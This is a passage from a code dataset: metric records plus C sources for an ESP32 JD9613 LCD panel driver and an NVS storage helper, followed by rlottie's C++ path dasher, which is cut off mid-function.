{"qsc_code_num_words": 2603, "qsc_code_num_chars": 17673.0, "qsc_code_mean_word_length": 4.17134076, "qsc_code_frac_words_unique": 0.1625048, "qsc_code_frac_chars_top_2grams": 0.03039234, "qsc_code_frac_chars_top_3grams": 0.02505065, "qsc_code_frac_chars_top_4grams": 0.0227482, "qsc_code_frac_chars_dupe_5grams": 0.34380181, "qsc_code_frac_chars_dupe_6grams": 0.26358445, "qsc_code_frac_chars_dupe_7grams": 0.20547062, "qsc_code_frac_chars_dupe_8grams": 0.15757966, "qsc_code_frac_chars_dupe_9grams": 0.12414809, "qsc_code_frac_chars_dupe_10grams": 0.11733284, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01893637, "qsc_code_frac_chars_whitespace": 0.22010977, "qsc_code_size_file_byte": 17673.0, "qsc_code_num_lines": 544.0, "qsc_code_num_chars_line_max": 142.0, "qsc_code_num_chars_line_mean": 32.48713235, "qsc_code_frac_chars_alphabet": 0.76884568, "qsc_code_frac_chars_comments": 0.10688621, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11217184, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.071777, "qsc_code_frac_chars_long_word_length": 0.00785556, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00101362, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0548926, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.01670644, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.08830549, "qsc_codec_frac_lines_print": 0.0071599, "qsc_codec_frac_lines_preprocessor_directives": 0.01909308}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
ancs_app/main/jd9613.c
|
#include "esp_check.h"
#include "esp_lcd_panel_interface.h"
#include "esp_lcd_panel_io.h"
#include "esp_lcd_panel_vendor.h"
#include "esp_lcd_panel_ops.h"
#include "esp_lcd_panel_commands.h"
#include "driver/gpio.h"
#include "jd9613.h"
#define TAG "jd9613"
typedef struct
{
esp_lcd_panel_t base;
esp_lcd_panel_io_handle_t io;
int reset_gpio_num;
bool reset_level;
uint8_t rotation;
uint16_t *frame_buffer;
uint16_t width;
uint16_t height;
bool flipHorizontal;
} jd9613_panel_t;
// There is only 1/2 RAM inside the JD9613 screen, and it cannot be rotated in directions 1 and 3.
esp_err_t panel_jd9613_set_rotation(esp_lcd_panel_t *panel, uint8_t r)
{
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
esp_lcd_panel_io_handle_t io = jd9613->io;
uint8_t write_data = 0x00;
switch (r)
{
case 1: // jd9613 only has 1/2RAM and cannot be rotated
// write_data = LCD_CMD_MX_BIT | LCD_CMD_MV_BIT | LCD_CMD_RGB;
// jd9613->width = JD9613_HEIGHT;
// jd9613->height = JD9613_WIDTH;
write_data = LCD_CMD_RGB;
jd9613->width = JD9613_WIDTH;
jd9613->height = JD9613_HEIGHT;
break;
case 2:
write_data = LCD_CMD_MY_BIT | LCD_CMD_MX_BIT | LCD_CMD_RGB;
jd9613->width = JD9613_WIDTH;
jd9613->height = JD9613_HEIGHT;
break;
case 3: // jd9613 only has 1/2RAM and cannot be rotated
// write_data = LCD_CMD_MY_BIT | LCD_CMD_MV_BIT | LCD_CMD_RGB;
// jd9613->width = JD9613_HEIGHT;
// jd9613->height = JD9613_WIDTH;
write_data = LCD_CMD_RGB;
jd9613->width = JD9613_WIDTH;
jd9613->height = JD9613_HEIGHT;
break;
default: // case 0:
write_data = LCD_CMD_RGB;
jd9613->width = JD9613_WIDTH;
jd9613->height = JD9613_HEIGHT;
break;
}
if (jd9613->flipHorizontal)
{
write_data |= (0x01 << 1); // Flip Horizontal
}
// write_data |= 0x01; //Flip Vertical
jd9613->rotation = r;
ESP_LOGI(TAG, "set_rotation:%d write reg :0x%X , data : 0x%X Width:%d Height:%d", r, LCD_CMD_MADCTL, write_data, jd9613->width, jd9613->height);
esp_lcd_panel_io_tx_param(io, LCD_CMD_MADCTL, &write_data, 1);
return ESP_OK;
}
static esp_err_t panel_jd9613_del(esp_lcd_panel_t *panel)
{
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
if (jd9613->reset_gpio_num >= 0)
{
gpio_reset_pin(jd9613->reset_gpio_num);
}
ESP_LOGI(TAG, "del jd9613 panel @%p", jd9613);
free(jd9613->frame_buffer);
free(jd9613);
return ESP_OK;
}
static esp_err_t panel_jd9613_reset(esp_lcd_panel_t *panel)
{
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
esp_lcd_panel_io_handle_t io = jd9613->io;
// perform hardware reset
if (jd9613->reset_gpio_num >= 0)
{
gpio_set_level(jd9613->reset_gpio_num, jd9613->reset_level);
vTaskDelay(pdMS_TO_TICKS(10));
gpio_set_level(jd9613->reset_gpio_num, !jd9613->reset_level);
vTaskDelay(pdMS_TO_TICKS(10));
}
else
{ // perform software reset
ESP_RETURN_ON_ERROR(esp_lcd_panel_io_tx_param(io, LCD_CMD_SWRESET, NULL, 0), TAG, "send command failed");
vTaskDelay(pdMS_TO_TICKS(20)); // spec, wait at least 5ms before sending new command
}
return ESP_OK;
}
static esp_err_t panel_jd9613_init(esp_lcd_panel_t *panel)
{
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
esp_lcd_panel_io_handle_t io = jd9613->io;
// vendor specific initialization, it can be different between manufacturers
// should consult the LCD supplier for initialization sequence code
int cmd = 0;
while (jd9613_cmd[cmd].len != 0xff)
{
esp_lcd_panel_io_tx_param(io, jd9613_cmd[cmd].addr, jd9613_cmd[cmd].param, (jd9613_cmd[cmd].len - 1) & 0x1F);
cmd++;
}
jd9613->flipHorizontal = 0;
jd9613->rotation = 0;
panel_jd9613_set_rotation(panel, jd9613->rotation);
esp_lcd_panel_io_tx_param(io, LCD_CMD_SLPOUT, NULL, 0);
vTaskDelay(pdMS_TO_TICKS(120));
esp_lcd_panel_io_tx_param(io, LCD_CMD_DISPON, NULL, 0);
vTaskDelay(pdMS_TO_TICKS(120));
return ESP_OK;
}
void rgb565_swap(uint16_t *color_data, uint32_t width, uint32_t height)
{
uint32_t total_pixels = width * height;
uint32_t u32_cnt = total_pixels / 2;
uint16_t *buf16 = color_data;
uint32_t *buf32 = (uint32_t *)color_data;
while (u32_cnt >= 8)
{
buf32[0] = ((buf32[0] & 0xff00ff00) >> 8) | ((buf32[0] & 0x00ff00ff) << 8);
buf32[1] = ((buf32[1] & 0xff00ff00) >> 8) | ((buf32[1] & 0x00ff00ff) << 8);
buf32[2] = ((buf32[2] & 0xff00ff00) >> 8) | ((buf32[2] & 0x00ff00ff) << 8);
buf32[3] = ((buf32[3] & 0xff00ff00) >> 8) | ((buf32[3] & 0x00ff00ff) << 8);
buf32[4] = ((buf32[4] & 0xff00ff00) >> 8) | ((buf32[4] & 0x00ff00ff) << 8);
buf32[5] = ((buf32[5] & 0xff00ff00) >> 8) | ((buf32[5] & 0x00ff00ff) << 8);
buf32[6] = ((buf32[6] & 0xff00ff00) >> 8) | ((buf32[6] & 0x00ff00ff) << 8);
buf32[7] = ((buf32[7] & 0xff00ff00) >> 8) | ((buf32[7] & 0x00ff00ff) << 8);
buf32 += 8;
u32_cnt -= 8;
}
while (u32_cnt)
{
*buf32 = ((*buf32 & 0xff00ff00) >> 8) | ((*buf32 & 0x00ff00ff) << 8);
buf32++;
u32_cnt--;
}
if (total_pixels & 0x1)
{ // Odd pixel count, swap the last pixel separately
uint32_t e = total_pixels - 1;
buf16[e] = ((buf16[e] & 0xff00) >> 8) | ((buf16[e] & 0x00ff) << 8);
}
}
static esp_err_t panel_jd9613_draw_bitmap(esp_lcd_panel_t *panel, int x_start, int y_start, int x_end, int y_end, const void *color_data)
{
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
assert((x_start < x_end) && (y_start < y_end) && "start position must be smaller than end position");
esp_lcd_panel_io_handle_t io = jd9613->io;
// Swap the 2 bytes of RGB565 color
// Cannot find a way to use it in ESP_LVGL_PORT
rgb565_swap((uint16_t *)color_data, x_end - x_start + 1, y_end - y_start + 1);
uint32_t width = x_start + x_end;
uint32_t height = y_start + y_end;
uint32_t _x = x_start,
_y = y_start,
_xe = width,
_ye = height;
size_t write_colors_bytes = width * height * sizeof(uint16_t);
uint16_t *data_ptr = (uint16_t *)color_data;
bool sw_rotation = false;
switch (jd9613->rotation)
{
case 1:
case 3:
sw_rotation = true;
break;
default:
sw_rotation = false;
break;
}
if (sw_rotation)
{
_x = JD9613_WIDTH - (y_start + height);
_y = x_start;
_xe = height;
_ye = width;
}
// Direction 2 requires offset pixels
if (jd9613->rotation == 2)
{
_x += 2;
_xe += 2;
}
// define an area of frame memory where MCU can access
ESP_RETURN_ON_ERROR(esp_lcd_panel_io_tx_param(io, LCD_CMD_CASET, (uint8_t[]){
(_x >> 8) & 0xFF,
_x & 0xFF,
((_xe - 1) >> 8) & 0xFF,
(_xe - 1) & 0xFF,
},
4),
TAG, "send command failed");
ESP_RETURN_ON_ERROR(esp_lcd_panel_io_tx_param(io, LCD_CMD_RASET, (uint8_t[]){
(_y >> 8) & 0xFF,
_y & 0xFF,
((_ye - 1) >> 8) & 0xFF,
(_ye - 1) & 0xFF,
},
4),
TAG, "send command failed");
if (sw_rotation)
{
int index = 0;
uint16_t *pdat = (uint16_t *)color_data;
for (uint16_t j = 0; j < width; j++)
{
for (uint16_t i = 0; i < height; i++)
{
jd9613->frame_buffer[index++] = pdat[width * (height - i - 1) + j];
}
}
data_ptr = jd9613->frame_buffer;
}
esp_lcd_panel_io_tx_color(io, LCD_CMD_RAMWR, data_ptr, write_colors_bytes);
return ESP_OK;
}
esp_err_t esp_lcd_new_panel_jd9613(const esp_lcd_panel_io_handle_t io, const esp_lcd_panel_dev_config_t *panel_dev_config, esp_lcd_panel_handle_t *ret_panel)
{
esp_err_t ret = ESP_OK;
jd9613_panel_t *jd9613 = NULL;
gpio_config_t io_conf = {0};
ESP_GOTO_ON_FALSE(io && panel_dev_config && ret_panel, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument");
jd9613 = (jd9613_panel_t *)calloc(1, sizeof(jd9613_panel_t));
ESP_GOTO_ON_FALSE(jd9613, ESP_ERR_NO_MEM, err, TAG, "no mem for jd9613 panel");
jd9613->frame_buffer = (uint16_t *)heap_caps_malloc(JD9613_WIDTH * JD9613_HEIGHT * 2, MALLOC_CAP_DMA);
if (!jd9613->frame_buffer)
{
free(jd9613);
return ESP_FAIL;
}
if (panel_dev_config->reset_gpio_num >= 0)
{
io_conf.mode = GPIO_MODE_OUTPUT;
io_conf.pin_bit_mask = 1ULL << panel_dev_config->reset_gpio_num;
ESP_GOTO_ON_ERROR(gpio_config(&io_conf), err, TAG, "configure GPIO for RST line failed");
}
switch (panel_dev_config->bits_per_pixel)
{
case 16: // RGB565
// fb_bits_per_pixel = 16;
break;
default:
ESP_GOTO_ON_FALSE(false, ESP_ERR_NOT_SUPPORTED, err, TAG, "unsupported pixel width");
break;
}
jd9613->io = io;
// jd9613->fb_bits_per_pixel = fb_bits_per_pixel;
jd9613->reset_gpio_num = panel_dev_config->reset_gpio_num;
jd9613->reset_level = panel_dev_config->flags.reset_active_high;
jd9613->base.del = panel_jd9613_del;
jd9613->base.reset = panel_jd9613_reset;
jd9613->base.init = panel_jd9613_init;
jd9613->base.draw_bitmap = panel_jd9613_draw_bitmap;
jd9613->base.invert_color = NULL;
jd9613->base.set_gap = NULL;
jd9613->base.mirror = NULL;
jd9613->base.swap_xy = NULL;
jd9613->base.disp_on_off = NULL;
*ret_panel = &(jd9613->base);
ESP_LOGI(TAG, "new jd9613 panel @%p", jd9613);
return ESP_OK;
err:
if (jd9613)
{
if (panel_dev_config->reset_gpio_num >= 0)
{
gpio_reset_pin(panel_dev_config->reset_gpio_num);
}
free(jd9613);
}
return ret;
}
void flipHorizontal(esp_lcd_panel_t *panel, bool enable)
{
assert(panel);
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
jd9613->flipHorizontal = enable;
panel_jd9613_set_rotation(panel, jd9613->rotation);
}
void writeCommand(esp_lcd_panel_t *panel, uint32_t cmd, uint8_t *pdat, uint32_t length)
{
jd9613_panel_t *jd9613 = __containerof(panel, jd9613_panel_t, base);
esp_lcd_panel_io_tx_param(jd9613->io, cmd, pdat, length);
}
void setBrightness(esp_lcd_panel_t *panel, uint8_t level)
{
lcd_cmd_t t = {0x51, {level}, 1};
writeCommand(panel, t.addr, t.param, t.len);
}
| 11,454
|
jd9613
|
c
|
en
|
c
|
code
|
{"qsc_code_num_words": 1536, "qsc_code_num_chars": 11454.0, "qsc_code_mean_word_length": 4.0625, "qsc_code_frac_words_unique": 0.16471354, "qsc_code_frac_chars_top_2grams": 0.03076923, "qsc_code_frac_chars_top_3grams": 0.05464744, "qsc_code_frac_chars_top_4grams": 0.03333333, "qsc_code_frac_chars_dupe_5grams": 0.3911859, "qsc_code_frac_chars_dupe_6grams": 0.35673077, "qsc_code_frac_chars_dupe_7grams": 0.32772436, "qsc_code_frac_chars_dupe_8grams": 0.26137821, "qsc_code_frac_chars_dupe_9grams": 0.24759615, "qsc_code_frac_chars_dupe_10grams": 0.2125, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.11105621, "qsc_code_frac_chars_whitespace": 0.29326, "qsc_code_size_file_byte": 11454.0, "qsc_code_num_lines": 340.0, "qsc_code_num_chars_line_max": 158.0, "qsc_code_num_chars_line_mean": 33.68823529, "qsc_code_frac_chars_alphabet": 0.65978999, "qsc_code_frac_chars_comments": 0.09533787, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21691176, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00367647, "qsc_code_frac_chars_string_length": 0.04352022, "qsc_code_frac_chars_long_word_length": 0.0068513, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0238348, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00735294, "qsc_codec_frac_lines_func_ratio": 0.04044118, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.11029412, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.03676471}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
ancs_app/main/nvs_manager.c
|
#include "nvs_manager.h"
#include <esp_log.h>
#include <string.h>
#define TAG "[NVS Manager]"
esp_err_t nvs_manager_init(void)
{
esp_err_t err = nvs_flash_init();
if (err == ESP_ERR_NVS_NO_FREE_PAGES || err == ESP_ERR_NVS_NEW_VERSION_FOUND)
{
ESP_LOGW(TAG, "NVS partition truncated, erasing...");
ESP_ERROR_CHECK(nvs_flash_erase());
err = nvs_flash_init();
}
if (err == ESP_OK)
{
ESP_LOGI(TAG, "NVS initialized successfully.");
}
else
{
ESP_LOGE(TAG, "Failed to initialize NVS: %s", esp_err_to_name(err));
}
return err;
}
esp_err_t nvs_manager_store_string(const char *key, const char *value)
{
nvs_handle_t nvs_handle;
esp_err_t err = nvs_open(NVS_NAMESPACE, NVS_READWRITE, &nvs_handle);
if (err == ESP_OK)
{
err = nvs_set_str(nvs_handle, key, value);
if (err == ESP_OK)
{
nvs_commit(nvs_handle);
ESP_LOGI(TAG, "String stored successfully under key '%s'.", key);
}
else
{
ESP_LOGE(TAG, "Failed to store string under key '%s': %s", key, esp_err_to_name(err));
}
nvs_close(nvs_handle);
}
else
{
ESP_LOGE(TAG, "Failed to open NVS: %s", esp_err_to_name(err));
}
return err;
}
esp_err_t nvs_manager_get_string(const char *key, char *buffer, size_t buffer_size)
{
nvs_handle_t nvs_handle;
esp_err_t err = nvs_open(NVS_NAMESPACE, NVS_READONLY, &nvs_handle);
if (err == ESP_OK)
{
err = nvs_get_str(nvs_handle, key, buffer, &buffer_size);
if (err == ESP_OK)
{
ESP_LOGI(TAG, "String retrieved from NVS using key '%s'.", key);
}
else
{
ESP_LOGW(TAG, "String not found in NVS under key '%s': %s", key, esp_err_to_name(err));
}
nvs_close(nvs_handle);
}
else
{
ESP_LOGE(TAG, "Failed to open NVS: %s", esp_err_to_name(err));
}
return err;
}
esp_err_t nvs_manager_erase_key(const char *key)
{
nvs_handle_t nvs_handle;
esp_err_t err = nvs_open(NVS_NAMESPACE, NVS_READWRITE, &nvs_handle);
if (err == ESP_OK)
{
err = nvs_erase_key(nvs_handle, key);
if (err == ESP_OK)
{
nvs_commit(nvs_handle);
ESP_LOGI(TAG, "Key '%s' erased successfully.", key);
}
else
{
ESP_LOGE(TAG, "Failed to erase key '%s': %s", key, esp_err_to_name(err));
}
nvs_close(nvs_handle);
}
else
{
ESP_LOGE(TAG, "Failed to open NVS: %s", esp_err_to_name(err));
}
return err;
}
esp_err_t nvs_manager_erase_all(void)
{
esp_err_t err = nvs_flash_erase();
if (err == ESP_OK)
{
ESP_LOGI(TAG, "NVS partition erased successfully.");
}
else
{
ESP_LOGE(TAG, "Failed to erase NVS partition: %s", esp_err_to_name(err));
}
return err;
}
| 2,931
|
nvs_manager
|
c
|
en
|
c
|
code
|
{"qsc_code_num_words": 419, "qsc_code_num_chars": 2931.0, "qsc_code_mean_word_length": 3.76133652, "qsc_code_frac_words_unique": 0.1575179, "qsc_code_frac_chars_top_2grams": 0.07614213, "qsc_code_frac_chars_top_3grams": 0.04441624, "qsc_code_frac_chars_top_4grams": 0.05076142, "qsc_code_frac_chars_dupe_5grams": 0.66307107, "qsc_code_frac_chars_dupe_6grams": 0.64086294, "qsc_code_frac_chars_dupe_7grams": 0.64086294, "qsc_code_frac_chars_dupe_8grams": 0.50190355, "qsc_code_frac_chars_dupe_9grams": 0.44098985, "qsc_code_frac_chars_dupe_10grams": 0.44098985, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0, "qsc_code_frac_chars_whitespace": 0.29136813, "qsc_code_size_file_byte": 2931.0, "qsc_code_num_lines": 114.0, "qsc_code_num_chars_line_max": 100.0, "qsc_code_num_chars_line_mean": 25.71052632, "qsc_code_frac_chars_alphabet": 0.75878671, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.31775701, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.16166439, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.04672897, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.12149533, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.04672897}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vdasher.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "vbezier.h"
#include <cmath>
#include "vdasher.h"
#include "vline.h"
V_BEGIN_NAMESPACE
static constexpr float tolerance = 0.1f;
VDasher::VDasher(const float *dashArray, size_t size)
{
mDashArray = reinterpret_cast<const VDasher::Dash *>(dashArray);
mArraySize = size / 2;
if (size % 2) mDashOffset = dashArray[size - 1];
mIndex = 0;
mCurrentLength = 0;
mDiscard = false;
//if the dash array contains ZERO length
// segments or ZERO lengths gaps we could
// optimize those usecase.
for (size_t i = 0; i < mArraySize; i++) {
if (!vCompare(mDashArray[i].length, 0.0f))
mNoLength = false;
if (!vCompare(mDashArray[i].gap, 0.0f))
mNoGap = false;
}
}
void VDasher::moveTo(const VPointF &p)
{
mDiscard = false;
mStartNewSegment = true;
mCurPt = p;
mIndex = 0;
if (!vCompare(mDashOffset, 0.0f)) {
float totalLength = 0.0;
for (size_t i = 0; i < mArraySize; i++) {
totalLength = mDashArray[i].length + mDashArray[i].gap;
}
float normalizeLen = std::fmod(mDashOffset, totalLength);
if (normalizeLen < 0.0f) {
normalizeLen = totalLength + normalizeLen;
}
// now the length is less than total length and +ve
// findout the current dash index , dashlength and gap.
for (size_t i = 0; i < mArraySize; i++) {
if (normalizeLen < mDashArray[i].length) {
mIndex = i;
mCurrentLength = mDashArray[i].length - normalizeLen;
mDiscard = false;
break;
}
normalizeLen -= mDashArray[i].length;
if (normalizeLen < mDashArray[i].gap) {
mIndex = i;
mCurrentLength = mDashArray[i].gap - normalizeLen;
mDiscard = true;
break;
}
normalizeLen -= mDashArray[i].gap;
}
} else {
mCurrentLength = mDashArray[mIndex].length;
}
if (vIsZero(mCurrentLength)) updateActiveSegment();
}
void VDasher::addLine(const VPointF &p)
{
if (mDiscard) return;
if (mStartNewSegment) {
mResult->moveTo(mCurPt);
mStartNewSegment = false;
}
mResult->lineTo(p);
}
void VDasher::updateActiveSegment()
{
mStartNewSegment = true;
if (mDiscard) {
mDiscard = false;
mIndex = (mIndex + 1) % mArraySize;
mCurrentLength = mDashArray[mIndex].length;
} else {
mDiscard = true;
mCurrentLength = mDashArray[mIndex].gap;
}
if (vIsZero(mCurrentLength)) updateActiveSegment();
}
void VDasher::lineTo(const VPointF &p)
{
VLine left, right;
VLine line(mCurPt, p);
float length = line.length();
if (length <= mCurrentLength) {
mCurrentLength -= length;
addLine(p);
} else {
while (length > mCurrentLength) {
length -= mCurrentLength;
line.splitAtLength(mCurrentLength, left, right);
addLine(left.p2());
updateActiveSegment();
line = right;
mCurPt = line.p1();
}
// handle remainder
if (length > tolerance) {
mCurrentLength -= length;
addLine(line.p2());
}
}
if (mCurrentLength < tolerance) updateActiveSegment();
mCurPt = p;
}
void VDasher::addCubic(const VPointF &cp1, const VPointF &cp2, const VPointF &e)
{
if (mDiscard) return;
if (mStartNewSegment) {
mResult->moveTo(mCurPt);
mStartNewSegment = false;
}
mResult->cubicTo(cp1, cp2, e);
}
void VDasher::cubicTo(const VPointF &cp1, const VPointF &cp2, const VPointF &e)
{
VBezier left, right;
VBezier b = VBezier::fromPoints(mCurPt, cp1, cp2, e);
float bezLen = b.length();
if (bezLen <= mCurrentLength) {
mCurrentLength -= bezLen;
addCubic(cp1, cp2, e);
} else {
while (bezLen > mCurrentLength) {
bezLen -= mCurrentLength;
b.splitAtLength(mCurrentLength, &left, &right);
addCubic(left.pt2(), left.pt3(), left.pt4());
updateActiveSegment();
b = right;
mCurPt = b.pt1();
}
// handle remainder
if (bezLen > tolerance) {
mCurrentLength -= bezLen;
addCubic(b.pt2(), b.pt3(), b.pt4());
}
}
if (mCurrentLength < tolerance) updateActiveSegment();
mCurPt = e;
}
void VDasher::dashHelper(const VPath &path, VPath &result)
{
mResult = &result;
mResult->reserve(path.points().size(), path.elements().size());
mIndex = 0;
const std::vector<VPath::Element> &elms = path.elements();
const std::vector<VPointF> & pts = path.points();
const VPointF * ptPtr = pts.data();
for (auto &i : elms) {
switch (i) {
case VPath::Element::MoveTo: {
moveTo(*ptPtr++);
break;
}
case VPath::Element::LineTo: {
lineTo(*ptPtr++);
break;
}
case VPath::Element::CubicTo: {
cubicTo(*ptPtr, *(ptPtr + 1), *(ptPtr + 2));
ptPtr += 3;
break;
}
case VPath::Element::Close: {
// The point is already joined to start point in VPath
// no need to do anything here.
break;
}
}
}
mResult = nullptr;
}
void VDasher::dashed(const VPath &path, VPath &result)
{
if (mNoLength && mNoGap) return result.reset();
if (path.empty() || mNoLength) return result.reset();
if (mNoGap) return result.clone(path);
result.reset();
dashHelper(path, result);
}
VPath VDasher::dashed(const VPath &path)
{
if (mNoLength && mNoGap) return path;
